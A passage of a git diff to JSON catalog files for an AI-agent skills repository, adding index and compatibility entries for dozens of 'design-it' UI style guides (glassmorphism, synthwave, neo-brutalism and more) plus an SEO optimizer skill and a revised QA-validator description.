App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps.", + "category": "infrastructure", + "tags": [ + "it/command", + "center", + "ui" + ], + "triggers": [ + "it/command", + "center", + "ui", + "command", + "web", + "app", + "trigger", + "user", + "wants", + "monitoring", + "enterprise", + "dashboards" + ], + "path": "skills/design-it/command-center-ui/SKILL.md" + }, + { + "id": "design-it/cyber-y2k", + "name": "cyber-y2k", + "description": "Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics.", + "category": "general", + "tags": [ + "it/cyber", + "y2k" + ], + "triggers": [ + "it/cyber", + "y2k", + "cyber", + "web", + "app", + "trigger", + "user", + "wants", + "holographic", + "visuals", + "glitch", + "aesthetics" + ], + "path": "skills/design-it/cyber-y2k/SKILL.md" + }, + { + "id": "design-it/cyberpunk-ui", + "name": "cyberpunk-ui", + "description": "Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces.", + "category": "general", + "tags": [ + "it/cyberpunk", + "ui" + ], + "triggers": [ + "it/cyberpunk", + "ui", + "cyberpunk", + "web", + "app", + "trigger", + "user", + "wants", + "neon", + "colors", + "dark", + "backgrounds" + ], + "path": "skills/design-it/cyberpunk-ui/SKILL.md" + }, + { + "id": "design-it/dark-mode", + "name": "dark-mode", + "description": "Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics.", + "category": "general", + "tags": [ + "it/dark", + "mode" + ], + "triggers": [ + "it/dark", + "mode", + "dark", + "web", + "app", + "trigger", + "user", + "wants", + "surfaces", + "reduced", + "eye", + "strain" + ], + "path": "skills/design-it/dark-mode/SKILL.md" + }, + { + "id": "design-it/dashboard-design", + "name": "dashboard-design", + "description": "Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens.", + "category": "data-ai", + "tags": [ + "it/dashboard" + ], + "triggers": [ + "it/dashboard", + "dashboard", + "web", + "app", + "trigger", + "user", + "wants", + "analytics", + "layouts", + "data", + "visualization", + "modular" + ], + "path": "skills/design-it/dashboard-design/SKILL.md" + }, + { + "id": "design-it/data-dense-design", + "name": "data-dense-design", + "description": "Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs).", + "category": "data-ai", + "tags": [ + "it/data", + "dense" + ], + "triggers": [ + "it/data", + "dense", + "data", + "web", + "app", + "trigger", + "user", + "wants", + "professional", + "maximum", + "information", + "density" + ], + "path": "skills/design-it/data-dense-design/SKILL.md" + }, + { + "id": "design-it/duotone-design", + "name": "duotone-design", + "description": "Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics.", + "category": "general", + "tags": [ + "it/duotone" + ], + "triggers": [ + "it/duotone", + "duotone", + "web", + "app", + "trigger", + "user", + "wants", + "two", + "color", + "schemes", + "striking", + "imagery" + ], + "path": "skills/design-it/duotone-design/SKILL.md" + }, + { + "id": "design-it/editorial-design", + "name": "editorial-design", + "description": "Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing.", + "category": "general", + "tags": [ + "it/editorial" + ], + "triggers": [ + "it/editorial", + "editorial", + "web", + "app", + "trigger", + "user", + "wants", + "magazine", + "inspired", + "layout", + "large", + "headlines" + ], + "path": "skills/design-it/editorial-design/SKILL.md" + }, + { + "id": "design-it/flat-design", + "name": "flat-design", + "description": "Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors.", + "category": "general", + "tags": [ + "it/flat" + ], + "triggers": [ + "it/flat", + "flat", + "web", + "app", + "style", + "trigger", + "user", + "wants", + "no", + "shadows", + "simple", + "shapes" + ], + "path": "skills/design-it/flat-design/SKILL.md" + }, + { + "id": "design-it/flat-design-2", + "name": "flat-design-2", + "description": "Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability.", + "category": "general", + "tags": [ + "it/flat", + "2" + ], + "triggers": [ + "it/flat", + "2", + "flat", + "web", + "app", + "semi", + "trigger", + "user", + "wants", + "subtle", + "shadows", + "improved" + ], + "path": "skills/design-it/flat-design-2/SKILL.md" + }, + { + "id": "design-it/floating-ui", + "name": "floating-ui", + "description": "Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel.", + "category": "general", + "tags": [ + "it/floating", + "ui" + ], + "triggers": [ + "it/floating", + "ui", + "floating", + "web", + "app", + "trigger", + "user", + "wants", + "detached", + "cards", + "elevated", + "components" + ], + "path": "skills/design-it/floating-ui/SKILL.md" + }, + { + "id": "design-it/frutiger-aero", + "name": "frutiger-aero", + "description": "Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs.", + "category": "general", + "tags": [ + "it/frutiger", + "aero" + ], + "triggers": [ + "it/frutiger", + "aero", + "frutiger", + "web", + "app", + "trigger", + "user", + "wants", + "glossy", + "gradients", + "early", + "2000s" + ], + "path": "skills/design-it/frutiger-aero/SKILL.md" + }, + { + "id": "design-it/glassmorphism", + "name": "glassmorphism", + "description": "Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel.", + "category": "general", + "tags": [ + "it/glassmorphism" + ], + "triggers": [ + "it/glassmorphism", + "glassmorphism", + "web", + "app", + "trigger", + "user", + "wants", + "frosted", + "glass", + "effect", + "blurred", + "backgrounds" + ], + "path": "skills/design-it/glassmorphism/SKILL.md" + }, + { + "id": "design-it/gradient-design", + "name": "gradient-design", + "description": "Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels.", + "category": "general", + "tags": [ + "it/gradient" + ], + "triggers": [ + "it/gradient", + "gradient", + "web", + "app", + "trigger", + "user", + "wants", + "heavy", + "usage", + "vibrant", + "transitions", + "energetic" + ], + "path": "skills/design-it/gradient-design/SKILL.md" + }, + { + "id": "design-it/high-contrast", + "name": "high-contrast", + "description": "Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact.", + "category": "general", + "tags": [ + "it/high", + "contrast" + ], + "triggers": [ + "it/high", + "contrast", + "high", + "web", + "app", + "trigger", + "user", + "wants", + "accessibility", + "extreme", + "legibility", + "stark" + ], + "path": "skills/design-it/high-contrast/SKILL.md" + }, + { + "id": "design-it/holographic-ui", + "name": "holographic-ui", + "description": "Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements.", + "category": "general", + "tags": [ + "it/holographic", + "ui" + ], + "triggers": [ + "it/holographic", + "ui", + "holographic", + "web", + "app", + "trigger", + "user", + "wants", + "light", + "appearance", + "projected", + "interfaces" + ], + "path": "skills/design-it/holographic-ui/SKILL.md" + }, + { + "id": "design-it/isometric-design", + "name": "isometric-design", + "description": "Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations.", + "category": "general", + "tags": [ + "it/isometric" + ], + "triggers": [ + "it/isometric", + "isometric", + "web", + "app", + "trigger", + "user", + "wants", + "angled", + "3d", + "appearances", + "without", + "vanishing" + ], + "path": "skills/design-it/isometric-design/SKILL.md" + }, + { + "id": "design-it/layered-design", + "name": "layered-design", + "description": "Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content.", + "category": "general", + "tags": [ + "it/layered" + ], + "triggers": [ + "it/layered", + "layered", + "web", + "app", + "trigger", + "user", + "wants", + "multiple", + "depth", + "levels", + "floating", + "panels" + ], + "path": "skills/design-it/layered-design/SKILL.md" + }, + { + "id": "design-it/material-design", + "name": "material-design", + "description": "Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components.", + "category": "general", + "tags": [ + "it/material" + ], + "triggers": [ + "it/material", + "material", + "web", + "app", + "trigger", + "user", + "wants", + "google", + "aesthetic", + "elevation", + "motion", + "consistent" + ], + "path": "skills/design-it/material-design/SKILL.md" + }, + { + "id": "design-it/maximalism", + "name": "maximalism", + "description": "Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation.", + "category": "general", + "tags": [ + "it/maximalism" + ], + "triggers": [ + "it/maximalism", + "maximalism", + "web", + "app", + "controlled", + "trigger", + "user", + "wants", + "lots", + "elements", + "dense", + "content" + ], + "path": "skills/design-it/maximalism/SKILL.md" + }, + { + "id": "design-it/minimalism", + "name": "minimalism", + "description": "Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy.", + "category": "general", + "tags": [ + "it/minimalism" + ], + "triggers": [ + "it/minimalism", + "minimalism", + "web", + "app", + "style", + "trigger", + "user", + "wants", + "simple", + "layouts", + "lots", + "whitespace" + ], + "path": "skills/design-it/minimalism/SKILL.md" + }, + { + "id": "design-it/monochromatic-ui", + "name": "monochromatic-ui", + "description": "Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline.", + "category": "general", + "tags": [ + "it/monochromatic", + "ui" + ], + "triggers": [ + "it/monochromatic", + "ui", + "monochromatic", + "web", + "app", + "trigger", + "user", + "wants", + "single", + "color", + "palette", + "high" + ], + "path": "skills/design-it/monochromatic-ui/SKILL.md" + }, + { + "id": "design-it/neo-brutalism", + "name": "neo-brutalism", + "description": "Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look.", + "category": "general", + "tags": [ + "it/neo", + "brutalism" + ], + "triggers": [ + "it/neo", + "brutalism", + "neo", + "web", + "app", + "trigger", + "user", + "wants", + "thick", + "borders", + "hard", + "shadows" + ], + "path": "skills/design-it/neo-brutalism/SKILL.md" + }, + { + "id": "design-it/neumorphism", + "name": "neumorphism", + "description": "Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation.", + "category": "general", + "tags": [ + "it/neumorphism" + ], + "triggers": [ + "it/neumorphism", + "neumorphism", + "web", + "app", + "soft", + "ui", + "trigger", + "user", + "wants", + "shadows", + "extruded", + "appearance" + ], + "path": "skills/design-it/neumorphism/SKILL.md" + }, + { + "id": "design-it/retro-design", + "name": "retro-design", + "description": "Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts.", + "category": "general", + "tags": [ + "it/retro" + ], + "triggers": [ + "it/retro", + "retro", + "web", + "app", + "60s", + "80s", + "trigger", + "user", + "wants", + "vintage", + "aesthetics", + "warm" + ], + "path": "skills/design-it/retro-design/SKILL.md" + }, + { + "id": "design-it/retro-futurism", + "name": "retro-futurism", + "description": "Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes.", + "category": "general", + "tags": [ + "it/retro", + "futurism" + ], + "triggers": [ + "it/retro", + "futurism", + "retro", + "web", + "app", + "trigger", + "user", + "wants", + "vintage", + "future", + "concepts", + "1950s" + ], + "path": "skills/design-it/retro-futurism/SKILL.md" + }, + { + "id": "design-it/sci-fi-interface", + "name": "sci-fi-interface", + "description": "Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts.", + "category": "general", + "tags": [ + "it/sci", + "fi", + "interface" + ], + "triggers": [ + "it/sci", + "fi", + "interface", + "sci", + "web", + "app", + "trigger", + "user", + "wants", + "huds", + "spacecraft", + "dashboards" + ], + "path": "skills/design-it/sci-fi-interface/SKILL.md" + }, + { + "id": "design-it/skeuomorphism", + "name": "skeuomorphism", + "description": "Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors.", + "category": "general", + "tags": [ + "it/skeuomorphism" + ], + "triggers": [ + "it/skeuomorphism", + "skeuomorphism", + "web", + "app", + "trigger", + "user", + "wants", + "ui", + "mimic", + "real", + "world", + "objects" + ], + "path": "skills/design-it/skeuomorphism/SKILL.md" + }, + { + "id": "design-it/soft-pastel", + "name": "soft-pastel", + "description": "Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics.", + "category": "general", + "tags": [ + "it/soft", + "pastel" + ], + "triggers": [ + "it/soft", + "pastel", + "soft", + "web", + "app", + "trigger", + "user", + "wants", + "gentle", + "colors", + "calming", + "ui" + ], + "path": "skills/design-it/soft-pastel/SKILL.md" + }, + { + "id": "design-it/spatial-computing-ui", + "name": "spatial-computing-ui", + "description": "Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style.", + "category": "general", + "tags": [ + "it/spatial", + "computing", + "ui" + ], + "triggers": [ + "it/spatial", + "computing", + "ui", + "spatial", + "web", + "app", + "trigger", + "user", + "wants", + "floating", + "elements", + "environmental" + ], + "path": "skills/design-it/spatial-computing-ui/SKILL.md" + }, + { + "id": "design-it/spatial-design", + "name": "spatial-design", + "description": "Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics.", + "category": "general", + "tags": [ + "it/spatial" + ], + "triggers": [ + "it/spatial", + "spatial", + "web", + "app", + "trigger", + "user", + "wants", + "environment", + "aware", + "layouts", + "apple", + "vision" + ], + "path": "skills/design-it/spatial-design/SKILL.md" + }, + { + "id": "design-it/swiss-design", + "name": "swiss-design", + "description": "Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment.", + "category": "general", + "tags": [ + "it/swiss" + ], + "triggers": [ + "it/swiss", + "swiss", + "web", + "app", + "international", + "typographic", + "style", + "trigger", + "user", + "wants", + "strict", + "grid" + ], + "path": "skills/design-it/swiss-design/SKILL.md" + }, + { + "id": "design-it/synthwave", + "name": "synthwave", + "description": "Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics.", + "category": "general", + "tags": [ + "it/synthwave" + ], + "triggers": [ + "it/synthwave", + "synthwave", + "web", + "app", + "trigger", + "user", + "wants", + "80s", + "inspired", + "neon", + "dark", + "backgrounds" + ], + "path": "skills/design-it/synthwave/SKILL.md" + }, + { + "id": "design-it/tile-design", + "name": "tile-design", + "description": "Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids.", + "category": "general", + "tags": [ + "it/tile" + ], + "triggers": [ + "it/tile", + "tile", + "web", + "app", + "trigger", + "user", + "wants", + "microsoft", + "metro", + "style", + "sharp", + "square" + ], + "path": "skills/design-it/tile-design/SKILL.md" + }, + { + "id": "design-it/typography-first", + "name": "typography-first", + "description": "Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming.", + "category": "general", + "tags": [ + "it/typography", + "first" + ], + "triggers": [ + "it/typography", + "first", + "typography", + "web", + "app", + "trigger", + "user", + "wants", + "text", + "absolute", + "main", + "visual" + ], + "path": "skills/design-it/typography-first/SKILL.md" + }, + { + "id": "design-it/vaporwave", + "name": "vaporwave", + "description": "Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues.", + "category": "general", + "tags": [ + "it/vaporwave" + ], + "triggers": [ + "it/vaporwave", + "vaporwave", + "web", + "app", + "trigger", + "user", + "wants", + "neon", + "colors", + "retro", + "digital", + "aesthetics" + ], + "path": "skills/design-it/vaporwave/SKILL.md" + }, + { + "id": "design-it/vibrant-maximalism", + "name": "vibrant-maximalism", + "description": "Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and \"more is more\".", + "category": "general", + "tags": [ + "it/vibrant", + "maximalism" + ], + "triggers": [ + "it/vibrant", + "maximalism", + "vibrant", + "web", + "app", + "trigger", + "user", + "wants", + "rich", + "colors", + "dense", + "layouts" + ], + "path": "skills/design-it/vibrant-maximalism/SKILL.md" + }, + { + "id": "design-it/widget-based-design", + "name": "widget-based-design", + "description": "Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps.", + "category": "development", + "tags": [ + "it/widget", + "based" + ], + "triggers": [ + "it/widget", + "based", + "widget", + "web", + "app", + "trigger", + "user", + "wants", + "modular", + "blocks", + "ios", + "home" + ], + "path": "skills/design-it/widget-based-design/SKILL.md" + }, + { + "id": "design-it/y2k-design", + "name": "y2k-design", + "description": "Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism.", + "category": "general", + "tags": [ + "it/y2k" + ], + "triggers": [ + "it/y2k", + "y2k", + "web", + "app", + "trigger", + "user", + "wants", + "chrome", + "effects", + "futuristic", + "2000s", + "look" + ], + "path": "skills/design-it/y2k-design/SKILL.md" + }, { "id": "design-md", "name": "design-md", @@ -36016,6 +37253,39 @@ ], "path": "skills/tool-use-guardian/SKILL.md" }, + { + "id": "tools-page-seo-optimizer", + "name": "tools-page-seo-optimizer", + "description": "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50–500 pages, and blog content strategy for position 50–68 keywords.", + "category": "business", + "tags": [ + "seo", + "tools-pages", + "product-pages", + "duplicate-content", + "content-registry", + "meta-tags", + "internal-linking", + "url-slugs", + "e-e-a-t", + "framework-agnostic" + ], + "triggers": [ + "seo", + "tools-pages", + "product-pages", + "duplicate-content", + "content-registry", + "meta-tags", + "internal-linking", + "url-slugs", + "e-e-a-t", + "framework-agnostic", + "page", + "optimizer" + ], + "path": "skills/tools-page-seo-optimizer/SKILL.md" + }, { "id": "top-web-vulnerabilities", "name": "top-web-vulnerabilities", @@ -37666,30 +38936,37 @@ { "id": "vibecode-production-qa-validator", "name": "vibecode-production-qa-validator", - "description": "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation.", - "category": "infrastructure", + "description": "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup.", + "category": "security", "tags": [ "qa", - "testing", "nextjs", "production", - "build-validation", "deployment", - "seo" + "seo", + "authentication", + "api", + "performance", + "favicon", + "cleanup", + "lighthouse", + "database", + "security", + "ui-ux" ], "triggers": [ "qa", - "testing", "nextjs", "production", - "build-validation", "deployment", "seo", - "vibecode", - "validator", - "verification", - "launch", - "readiness" + "authentication", + "api", + "performance", + "favicon", + "cleanup", + "lighthouse", + "database" ], "path": "skills/vibecode-production-qa-validator/SKILL.md" }, diff --git a/antigravity-awesome-skills/data/plugin-compatibility.json b/antigravity-awesome-skills/data/plugin-compatibility.json index 0aa03f5b..bb515154 100644 --- a/antigravity-awesome-skills/data/plugin-compatibility.json +++ b/antigravity-awesome-skills/data/plugin-compatibility.json @@ -1468,6 +1468,25 @@ }, "runtime_files": [] }, + { + "id": "android-ui-journey-testing", + "path": "skills/android-ui-journey-testing", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, { "id": "android_ui_verification", "path": "skills/android_ui_verification", @@ -9746,6 +9765,937 @@ }, "runtime_files": [] }, + { + "id": "design-it", + "path": "skills/design-it", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/3d-ui", + "path": "skills/design-it/3d-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/ai-native-ui", + "path": "skills/design-it/ai-native-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/aurora-ui", + "path": "skills/design-it/aurora-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/bento-ui", + "path": "skills/design-it/bento-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/brutalism", + "path": "skills/design-it/brutalism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/brutalist-typography", + "path": "skills/design-it/brutalist-typography", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/card-based-design", + "path": "skills/design-it/card-based-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/claymorphism", + "path": "skills/design-it/claymorphism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/color-blocking", + "path": "skills/design-it/color-blocking", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/command-center-ui", + "path": "skills/design-it/command-center-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/cyber-y2k", + "path": "skills/design-it/cyber-y2k", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/cyberpunk-ui", + "path": "skills/design-it/cyberpunk-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/dark-mode", + "path": "skills/design-it/dark-mode", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/dashboard-design", + "path": "skills/design-it/dashboard-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/data-dense-design", + "path": "skills/design-it/data-dense-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/duotone-design", + "path": "skills/design-it/duotone-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/editorial-design", + "path": "skills/design-it/editorial-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/flat-design", + "path": "skills/design-it/flat-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/flat-design-2", + "path": "skills/design-it/flat-design-2", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/floating-ui", + "path": "skills/design-it/floating-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/frutiger-aero", + "path": "skills/design-it/frutiger-aero", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/glassmorphism", + "path": "skills/design-it/glassmorphism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/gradient-design", + "path": "skills/design-it/gradient-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/high-contrast", + "path": "skills/design-it/high-contrast", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/holographic-ui", + "path": "skills/design-it/holographic-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/isometric-design", + "path": "skills/design-it/isometric-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/layered-design", + "path": "skills/design-it/layered-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/material-design", + "path": "skills/design-it/material-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/maximalism", + "path": "skills/design-it/maximalism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/minimalism", + "path": "skills/design-it/minimalism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/monochromatic-ui", + "path": "skills/design-it/monochromatic-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/neo-brutalism", + "path": "skills/design-it/neo-brutalism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/neumorphism", + "path": "skills/design-it/neumorphism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/retro-design", + "path": "skills/design-it/retro-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/retro-futurism", + "path": "skills/design-it/retro-futurism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/sci-fi-interface", + "path": "skills/design-it/sci-fi-interface", + "targets": { + "codex": 